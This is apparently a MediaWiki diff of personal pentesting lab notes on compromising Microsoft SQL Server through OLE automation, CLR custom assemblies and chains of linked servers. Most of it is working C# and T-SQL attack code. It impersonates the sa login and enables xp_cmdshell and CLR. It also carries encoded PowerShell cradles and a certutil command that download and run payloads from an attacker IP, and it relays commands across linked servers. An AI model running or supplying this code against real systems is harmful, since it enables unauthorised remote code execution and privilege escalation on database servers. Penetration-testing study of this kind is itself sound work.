String execCmdShell = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA';"; | String execCmdShell = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA';"; | ||
command = new SqlCommand(enable_ole, con); | command = new SqlCommand(enable_ole, con); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Custom Assemblies ==== | ==== Custom Assemblies ==== | ||
'''Introduction:''' | '''Introduction:''' | ||
* This technique leverages managed code to achieve arbitrary code execution on a SQL server. | * This technique leverages managed code to achieve arbitrary code execution on a SQL server. | ||
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods. | * If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods. | ||
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with <code>sp_configure</code> and the <code>clr enabled</code> option. | * Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with <code>sp_configure</code> and the <code>clr enabled</code> option. | ||
Check if TRUTHWORTHY is enabled. | Check if TRUTHWORTHY is enabled. | ||
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks] | [https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 5,493: | Line 4,068: | ||
ON a.name=b.name; | ON a.name=b.name; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Start by creating a new "Class Library (.NET Framework)" project. | Start by creating a new "Class Library (.NET Framework)" project. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 5,503: | Line 4,076: | ||
using System.Data.SqlTypes; | using System.Data.SqlTypes; | ||
using System.Diagnostics; | using System.Diagnostics; | ||
public class StoredProcedures | public class StoredProcedures | ||
{ | { | ||
| Line 5,515: | Line 4,087: | ||
proc.StartInfo.RedirectStandardOutput = true; | proc.StartInfo.RedirectStandardOutput = true; | ||
proc.Start(); | proc.Start(); | ||
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000)); | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000)); | ||
SqlContext.Pipe.SendResultsStart(record); | SqlContext.Pipe.SendResultsStart(record); | ||
| Line 5,521: | Line 4,092: | ||
SqlContext.Pipe.SendResultsRow(record); | SqlContext.Pipe.SendResultsRow(record); | ||
SqlContext.Pipe.SendResultsEnd(); | SqlContext.Pipe.SendResultsEnd(); | ||
proc.WaitForExit(); | proc.WaitForExit(); | ||
proc.Close(); | proc.Close(); | ||
} | } | ||
}; | }; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* In the <code>CreateAssem</code> you can either call it from location on target like this | * In the <code>CreateAssem</code> you can either call it from location on target like this | ||
<code>CREATE ASSEMBLY myAssembly FROM 'c:\tools\cmdExec.dll' WITH PERMISSION_SET = UNSAFE;</code> | <code>CREATE ASSEMBLY myAssembly FROM 'c:\tools\cmdExec.dll' WITH PERMISSION_SET = UNSAFE;</code> | ||
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add <code>0x</code> before the string since this is hex. | * This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add <code>0x</code> before the string since this is hex. | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 5,547: | Line 4,112: | ||
$stringBuilder.ToString() -join "" | Out-File c:\users\alaa\documents\cmdexec.txt | $stringBuilder.ToString() -join "" | Out-File c:\users\alaa\documents\cmdexec.txt | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
namespace SqlImpersonationDemo | namespace SqlImpersonationDemo | ||
{ | { | ||
| Line 5,562: | Line 4,125: | ||
String database = "master"; | String database = "master"; | ||
String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;"; | String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;"; | ||
try | try | ||
{ | { | ||
| Line 5,569: | Line 4,131: | ||
con.Open(); | con.Open(); | ||
Console.WriteLine("Auth success!"); | Console.WriteLine("Auth success!"); | ||
// Impersonate SA user | // Impersonate SA user | ||
String impersonateUser = "EXECUTE AS LOGIN = 'sa';"; | String impersonateUser = "EXECUTE AS LOGIN = 'sa';"; | ||
| Line 5,575: | Line 4,136: | ||
SqlDataReader reader = command.ExecuteReader(); | SqlDataReader reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
// Check if the procedure and assembly already exist and drop them if they do | // Check if the procedure and assembly already exist and drop them if they do | ||
String dropProcedure = "IF OBJECT_ID('dbo.cmdExec', 'P') IS NOT NULL DROP PROCEDURE dbo.cmdExec;"; | String dropProcedure = "IF OBJECT_ID('dbo.cmdExec', 'P') IS NOT NULL DROP PROCEDURE dbo.cmdExec;"; | ||
| Line 5,581: | Line 4,141: | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
String dropAssembly = "IF EXISTS (SELECT * FROM sys.assemblies WHERE name = 'myAssembly') DROP ASSEMBLY myAssembly;"; | String dropAssembly = "IF EXISTS (SELECT * FROM sys.assemblies WHERE name = 'myAssembly') DROP ASSEMBLY myAssembly;"; | ||
command = new SqlCommand(dropAssembly, con); | command = new SqlCommand(dropAssembly, con); | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
// Configuration for enabling CLR | // Configuration for enabling CLR | ||
String clrConfig = "use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;"; | String clrConfig = "use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;"; | ||
| Line 5,592: | Line 4,150: | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
// Create the assembly and procedure | // Create the assembly and procedure | ||
String CreateAssem = "CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;"; | String CreateAssem = "CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;"; | ||
| Line 5,598: | Line 4,155: | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
String CreatePro = "CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];"; | String CreatePro = "CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];"; | ||
command = new SqlCommand(CreatePro, con); | command = new SqlCommand(CreatePro, con); | ||
reader = command.ExecuteReader(); | reader = command.ExecuteReader(); | ||
reader.Close(); | reader.Close(); | ||
// Execute the procedure | // Execute the procedure | ||
String ExecCmd = "EXEC cmdExec 'certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe && cmd.exe /c C:\\windows\\tasks\\met.exe'"; | String ExecCmd = "EXEC cmdExec 'certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe && cmd.exe /c C:\\windows\\tasks\\met.exe'"; | ||
| Line 5,611: | Line 4,166: | ||
Console.WriteLine("Result of the command is: " + reader[0]); | Console.WriteLine("Result of the command is: " + reader[0]); | ||
reader.Close(); | reader.Close(); | ||
con.Close(); | con.Close(); | ||
} | } | ||
| Line 5,622: | Line 4,176: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there's a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command. | * You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there's a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 5,633: | Line 4,184: | ||
string dropasm = "DROP ASSEMBLY myAssembly"; | string dropasm = "DROP ASSEMBLY myAssembly"; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Linked SQL Servers === | === Linked SQL Servers === | ||
'''Overview:''' | '''Overview:''' | ||
* Linked SQL servers allow one SQL server to connect to another. | * Linked SQL servers allow one SQL server to connect to another. | ||
* The execution context during the connection can be dynamic or a specific SQL login. | * The execution context during the connection can be dynamic or a specific SQL login. | ||
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server. | * If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server. | ||
'''Concepts:''' | '''Concepts:''' | ||
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server. | * If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server. | ||
* sp_linkedservers stored procedure enumerates linked servers. | * sp_linkedservers stored procedure enumerates linked servers. | ||
* OPENQUERY keyword can be used to perform SQL queries on linked servers. | * OPENQUERY keyword can be used to perform SQL queries on linked servers. | ||
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers. | * Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers. | ||
* RPC Out setting must be enabled for RPC to work on linked servers. | * RPC Out setting must be enabled for RPC to work on linked servers. | ||
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership. | * sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership. | ||
* AT keyword specifies which linked SQL server a query should be executed on. | * AT keyword specifies which linked SQL server a query should be executed on. | ||
==== Query list ==== | ==== Query list ==== | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Enable RPC Out | # Enable RPC Out | ||
EXEC sp_serveroption 'sql27', 'rpc out', 'true'; | EXEC sp_serveroption 'sql27', 'rpc out', 'true'; | ||
# Enumerate linked servers | # Enumerate linked servers | ||
EXEC sp_linkedservers; | EXEC sp_linkedservers; | ||
# Execute command using openquery | # Execute command using openquery | ||
SELECT version FROM OPENQUERY(dc01, 'SELECT @@version AS version'); | SELECT version FROM OPENQUERY(dc01, 'SELECT @@version AS version'); | ||
# Enable advanced options | # Enable advanced options | ||
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT DC01; | EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT DC01; | ||
# Enable xp_cmdshell | # Enable xp_cmdshell | ||
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01 | EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01 | ||
# Example | # Example | ||
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT SQL53; | EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT SQL53; | ||
| Line 5,698: | Line 4,229: | ||
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT SQL53; | EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT SQL53; | ||
EXEC ('xp_cmdshell ''whoami'';') AT SQL53; | EXEC ('xp_cmdshell ''whoami'';') AT SQL53; | ||
# Double hop | # Double hop | ||
EXECUTE AS LOGIN = 'SA'; | EXECUTE AS LOGIN = 'SA'; | ||
| Line 5,705: | Line 4,235: | ||
EXEC ('EXEC (''xp_cmdshell ''''''') AT db01') AT db02 | EXEC ('EXEC (''xp_cmdshell ''''''') AT db01') AT db02 | ||
EXEC ('EXEC (''xp_cmdshell ''''powershell -enc XXXXX''') AT db01') AT db02 | EXEC ('EXEC (''xp_cmdshell ''''powershell -enc XXXXX''') AT db01') AT db02 | ||
# Tripple hop | # Tripple hop | ||
EXECUTE AS LOGIN = 'SA'; | EXECUTE AS LOGIN = 'SA'; | ||
| Line 5,712: | Line 4,241: | ||
EXEC ('EXEC (''EXEC ('''' xp_cmdshell '''''''''''''''' ') AT db02 '') AT db01') AT db02 | EXEC ('EXEC (''EXEC ('''' xp_cmdshell '''''''''''''''' ') AT db02 '') AT db01') AT db02 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Enumerate Linked Servers ==== | ==== Enumerate Linked Servers ==== | ||
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that <code>appsrv01</code> and <code>dc01</code> is linked. | The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that <code>appsrv01</code> and <code>dc01</code> is linked. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
namespace SQLExploit | namespace SQLExploit | ||
{ | { | ||
| Line 5,734: | Line 4,259: | ||
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | ||
SqlConnection con = new SqlConnection(conString); | SqlConnection con = new SqlConnection(conString); | ||
try | try | ||
{ | { | ||
| Line 5,745: | Line 4,269: | ||
Environment.Exit(0); | Environment.Exit(0); | ||
} | } | ||
String execCmd = "EXEC sp_linkedservers;"; | String execCmd = "EXEC sp_linkedservers;"; | ||
SqlCommand command = new SqlCommand(execCmd, con); | SqlCommand command = new SqlCommand(execCmd, con); | ||
| Line 5,759: | Line 4,282: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Querying Linked Servers ==== | ==== Querying Linked Servers ==== | ||
* Since we know from the enumeration above that <code>dc01</code> is linked to <code>appsrv01</code> we can query the linked SQL server | * Since we know from the enumeration above that <code>dc01</code> is linked to <code>appsrv01</code> we can query the linked SQL server | ||
* This will print the version of the linked SQL Server. | * This will print the version of the linked SQL Server. | ||
* Ensure correct escaping of double quotes. | * Ensure correct escaping of double quotes. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
namespace SQLExploit | namespace SQLExploit | ||
{ | { | ||
| Line 5,787: | Line 4,304: | ||
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | ||
SqlConnection con = new SqlConnection(conString); | SqlConnection con = new SqlConnection(conString); | ||
try | try | ||
{ | { | ||
| Line 5,798: | Line 4,314: | ||
Environment.Exit(0); | Environment.Exit(0); | ||
} | } | ||
// Point 2: Querying Linked Servers using OPENQUERY | // Point 2: Querying Linked Servers using OPENQUERY | ||
String queryCmd = "SELECT version FROM OPENQUERY(dc01, 'SELECT @@version AS version');"; | String queryCmd = "SELECT version FROM OPENQUERY(dc01, 'SELECT @@version AS version');"; | ||
| Line 5,811: | Line 4,326: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Executing Commands on Linked Servers ==== | ==== Executing Commands on Linked Servers ==== | ||
* Use the AT keyword to specify the linked server. | * Use the AT keyword to specify the linked server. | ||
* Example: <code>EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01</code> | * Example: <code>EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01</code> | ||
* Ensure correct escaping of single quotes in SQL. | * Ensure correct escaping of single quotes in SQL. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 5,831: | Line 4,340: | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
using static System.Net.Mime.MediaTypeNames; | using static System.Net.Mime.MediaTypeNames; | ||
namespace SQLExploit | namespace SQLExploit | ||
{ | { | ||
| Line 5,842: | Line 4,350: | ||
String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;"; | String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;"; | ||
SqlConnection con = new SqlConnection(conString); | SqlConnection con = new SqlConnection(conString); | ||
try | try | ||
{ | { | ||
| Line 5,853: | Line 4,360: | ||
Environment.Exit(0); | Environment.Exit(0); | ||
} | } | ||
// Enable 'show advanced options' through DC01 | // Enable 'show advanced options' through DC01 | ||
String execCmd = "EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT DC01;"; | String execCmd = "EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT DC01;"; | ||
SqlCommand execCommand = new SqlCommand(execCmd, con); | SqlCommand execCommand = new SqlCommand(execCmd, con); | ||
execCommand.ExecuteNonQuery(); | execCommand.ExecuteNonQuery(); | ||
// Check if "show advanced options" is enabled on DC01 using OPENQUERY | // Check if "show advanced options" is enabled on DC01 using OPENQUERY | ||
String checkCmd = "SELECT value_in_use FROM OPENQUERY(DC01, 'SELECT value_in_use FROM sys.configurations WHERE name = ''show advanced options);"; | String checkCmd = "SELECT value_in_use FROM OPENQUERY(DC01, 'SELECT value_in_use FROM sys.configurations WHERE name = ''show advanced options);"; | ||
SqlCommand checkCommand = new SqlCommand(checkCmd, con); | SqlCommand checkCommand = new SqlCommand(checkCmd, con); | ||
int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar()); | int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar()); | ||
if (valueInUse == 1) | if (valueInUse == 1) | ||
{ | { | ||
| Line 5,872: | Line 4,376: | ||
Console.WriteLine("'show advanced options' is not enabled on DC01."); | Console.WriteLine("'show advanced options' is not enabled on DC01."); | ||
} | } | ||
String enablexpcmdshell = "EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01"; | String enablexpcmdshell = "EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01"; | ||
SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con); | SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con); | ||
enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here | enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here | ||
//$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.244/run.txt') | IEX" | //$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.244/run.txt') | IEX" | ||
//$bytes = [System.Text.Encoding]::Unicode.GetBytes($text) | //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text) | ||
| Line 5,884: | Line 4,386: | ||
SqlCommand runthis = new SqlCommand(execmd, con); | SqlCommand runthis = new SqlCommand(execmd, con); | ||
runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here | runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here | ||
con.Close(); | con.Close(); | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-10-image-8.png|thumb]] | [[File:2023-10-image-8.png|thumb]] | ||
==== Privilege Escalation ==== | ==== Privilege Escalation ==== | ||
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01. | * We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01. | ||
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation. | * If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation. | ||
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server. | * Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server. | ||
To enumerate if the linked SQL server has another link, we can use the code below. | To enumerate if the linked SQL server has another link, we can use the code below. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
namespace SQL | namespace SQL | ||
{ | { | ||
| Line 5,925: | Line 4,417: | ||
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;"; | ||
SqlConnection con = new SqlConnection(conString); | SqlConnection con = new SqlConnection(conString); | ||
try | try | ||
{ | { | ||
| Line 5,936: | Line 4,427: | ||
Environment.Exit(0); | Environment.Exit(0); | ||
} | } | ||
String query = "EXEC ('sp_linkedservers') AT DC01;"; | String query = "EXEC ('sp_linkedservers') AT DC01;"; | ||
SqlCommand command = new SqlCommand(query, con); | SqlCommand command = new SqlCommand(query, con); | ||
| Line 5,949: | Line 4,439: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* The code below will use <code>OpenQuery</code> twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user | * The code below will use <code>OpenQuery</code> twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 5,966: | Line 4,453: | ||
reader.Close(); | reader.Close(); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Code Exection''' | '''Code Exection''' | ||
* Using the code below will give us code execution on <code>appsrv01</code> through <code>dc01</code> as the <code>sa</code> user. | * Using the code below will give us code execution on <code>appsrv01</code> through <code>dc01</code> as the <code>sa</code> user. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Data.SqlClient; | using System.Data.SqlClient; | ||
namespace SQL | namespace SQL | ||
{ | { | ||
| Line 5,985: | Line 4,468: | ||
static string database = "master"; | static string database = "master"; | ||
static string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;"; | static string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;"; | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
| Line 5,992: | Line 4,474: | ||
con.Open(); | con.Open(); | ||
Console.WriteLine("Auth success!"); | Console.WriteLine("Auth success!"); | ||
ListLinkedServers(con); | ListLinkedServers(con); | ||
DisplayCurrentLoginThroughDC01(con); | DisplayCurrentLoginThroughDC01(con); | ||
| Line 5,999: | Line 4,480: | ||
EnableXpCmdShellOnBothServers(con); | EnableXpCmdShellOnBothServers(con); | ||
ExecutePayloadOnAppsrv01ThroughDC01(con); | ExecutePayloadOnAppsrv01ThroughDC01(con); | ||
con.Close(); | con.Close(); | ||
} | } | ||
} | } | ||
static void ListLinkedServers(SqlConnection con) | static void ListLinkedServers(SqlConnection con) | ||
{ | { | ||
ExecuteReader(con, "EXEC ('sp_linkedservers') AT DC01;", reader => Console.WriteLine("Linked SQL server: " + reader[0])); | ExecuteReader(con, "EXEC ('sp_linkedservers') AT DC01;", reader => Console.WriteLine("Linked SQL server: " + reader[0])); | ||
} | } | ||
static void DisplayCurrentLoginThroughDC01(SqlConnection con) | static void DisplayCurrentLoginThroughDC01(SqlConnection con) | ||
{ | { | ||
| Line 6,014: | Line 4,492: | ||
ExecuteReader(con, query, reader => Console.WriteLine("Login: " + reader[0])); | ExecuteReader(con, query, reader => Console.WriteLine("Login: " + reader[0])); | ||
} | } | ||
static void DisplayCurrentLoginLocal(SqlConnection con) | static void DisplayCurrentLoginLocal(SqlConnection con) | ||
{ | { | ||
ExecuteReader(con, "SELECT SYSTEM_USER;", reader => Console.WriteLine("Executing as login: " + reader[0])); | ExecuteReader(con, "SELECT SYSTEM_USER;", reader => Console.WriteLine("Executing as login: " + reader[0])); | ||
} | } | ||
static void EnableAdvancedOptionsOnBothServers(SqlConnection con) | static void EnableAdvancedOptionsOnBothServers(SqlConnection con) | ||
{ | { | ||
ExecuteNonQuery(con, "EXEC ('EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT appsrv01') AT dc01"); | ExecuteNonQuery(con, "EXEC ('EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT appsrv01') AT dc01"); | ||
if (CheckIfOptionEnabled(con, "DC01", "show advanced options")) | if (CheckIfOptionEnabled(con, "DC01", "show advanced options")) | ||
Console.WriteLine("'show advanced options' is enabled on DC01."); | Console.WriteLine("'show advanced options' is enabled on DC01."); | ||
else | else | ||
Console.WriteLine("'show advanced options' is NOT enabled on DC01."); | Console.WriteLine("'show advanced options' is NOT enabled on DC01."); | ||
ExecuteNonQuery(con, "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;"); | ExecuteNonQuery(con, "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;"); | ||
if (CheckIfOptionEnabled(con, "appsrv01", "show advanced options")) | if (CheckIfOptionEnabled(con, "appsrv01", "show advanced options")) | ||
Console.WriteLine("'show advanced options' is enabled on appsrv01."); | Console.WriteLine("'show advanced options' is enabled on appsrv01."); | ||
| Line 6,036: | Line 4,509: | ||
Console.WriteLine("'show advanced options' is NOT enabled on appsrv01."); | Console.WriteLine("'show advanced options' is NOT enabled on appsrv01."); | ||
} | } | ||
static void EnableXpCmdShellOnBothServers(SqlConnection con) | static void EnableXpCmdShellOnBothServers(SqlConnection con) | ||
{ | { | ||
// Enable xp_cmdshell on appsrv01 through DC01 | // Enable xp_cmdshell on appsrv01 through DC01 | ||
ExecuteNonQuery(con, "EXEC ('EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT appsrv01') AT dc01"); | ExecuteNonQuery(con, "EXEC ('EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT appsrv01') AT dc01"); | ||
// Enable xp_cmdshell on DC01 | // Enable xp_cmdshell on DC01 | ||
ExecuteNonQuery(con, "EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01"); | ExecuteNonQuery(con, "EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01"); | ||
if (CheckIfOptionEnabled(con, "DC01", "xp_cmdshell")) | if (CheckIfOptionEnabled(con, "DC01", "xp_cmdshell")) | ||
Console.WriteLine("'xp_cmdshell' is enabled on DC01."); | Console.WriteLine("'xp_cmdshell' is enabled on DC01."); | ||
else | else | ||
Console.WriteLine("'xp_cmdshell' is NOT enabled on DC01."); | Console.WriteLine("'xp_cmdshell' is NOT enabled on DC01."); | ||
if (CheckIfOptionEnabled(con, "appsrv01", "xp_cmdshell")) | if (CheckIfOptionEnabled(con, "appsrv01", "xp_cmdshell")) | ||
Console.WriteLine("'xp_cmdshell' is enabled on appsrv01."); | Console.WriteLine("'xp_cmdshell' is enabled on appsrv01."); | ||
| Line 6,055: | Line 4,524: | ||
Console.WriteLine("'xp_cmdshell' is NOT enabled on appsrv01."); | Console.WriteLine("'xp_cmdshell' is NOT enabled on appsrv01."); | ||
} | } | ||
static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con) | static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con) | ||
| Line 6,065: | Line 4,533: | ||
ExecuteNonQuery(con, "EXEC ('EXEC(''xp_cmdshell ''''powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA'''' '') AT appsrv01') AT dc01"); | ExecuteNonQuery(con, "EXEC ('EXEC(''xp_cmdshell ''''powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA'''' '') AT appsrv01') AT dc01"); | ||
} | } | ||
